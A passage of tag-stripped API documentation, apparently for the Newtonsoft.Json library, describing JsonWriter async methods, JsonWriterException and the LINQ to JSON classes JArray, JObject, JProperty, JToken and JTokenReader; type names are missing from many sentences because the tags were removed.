operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously ets the state of the . The being written. The value being written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Gets or sets a value indicating whether the destination should be closed when this writer is closed. true to close the destination when this writer is closed; otherwise false. The default is true. Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. Gets the top. The top. Gets the state of the writer. Gets the path of the writer. Gets or sets a value indicating how JSON text output should be formatted. Gets or sets how dates are written to JSON text. Gets or sets how time zones are handled when writing JSON text. Gets or sets how strings are escaped when writing JSON text. Gets or sets how special floating point numbers, e.g. , and , are written to JSON text. Gets or sets how and values are formatted when writing JSON text. Gets or sets the culture used when writing JSON. Defaults to . Initializes a new instance of the class. Flushes whatever is in the buffer to the destination and also flushes the destination. Closes this writer. If is set to true, the destination is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the end of a JSON object. Writes the beginning of a JSON array. Writes the end of an array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end constructor. Writes the property name of a name/value pair of a JSON object. The name of the property. Writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes the end of the current JSON object or array. Writes the current token and its children. The to read the token from. Writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. Writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . Writes the token. The to write. Writes the specified end token. The end token to write. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a null value. Writes an undefined value. Writes raw JSON without changing the writer's state. The raw JSON to write. Writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a of value. The of value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous load. The property contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the items list of the collection has changed, or the collection is reset. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous load. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Occurs when a property value is changing. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Raises the event with the provided arguments. Name of the property. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Represents a JSON property. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously loads a from a . A that will be read for the content of the . The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Asynchronously loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns a that contains the JSON that was read from the specified . Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a raw JSON string. Asynchronously creates an instance of with the content of the reader's current token. The reader. The token to monitor for cancellation requests. The default value is . A representing the asynchronous creation. The property returns an instance of with the content of the reader's current token. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a timeout that will be used when executing regular expressions. The timeout that will be used when executing regular expressions. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Writes this token to a asynchronously. A into which this method will write. The token to monitor for cancellation requests. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Writes this token to a asynchronously. A into which this method will write. A collection of which will be used when writing the token. A that represents the asynchronous write operation. Asynchronously creates a from a . An positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Asynchronously creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous creation. The property returns a that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a 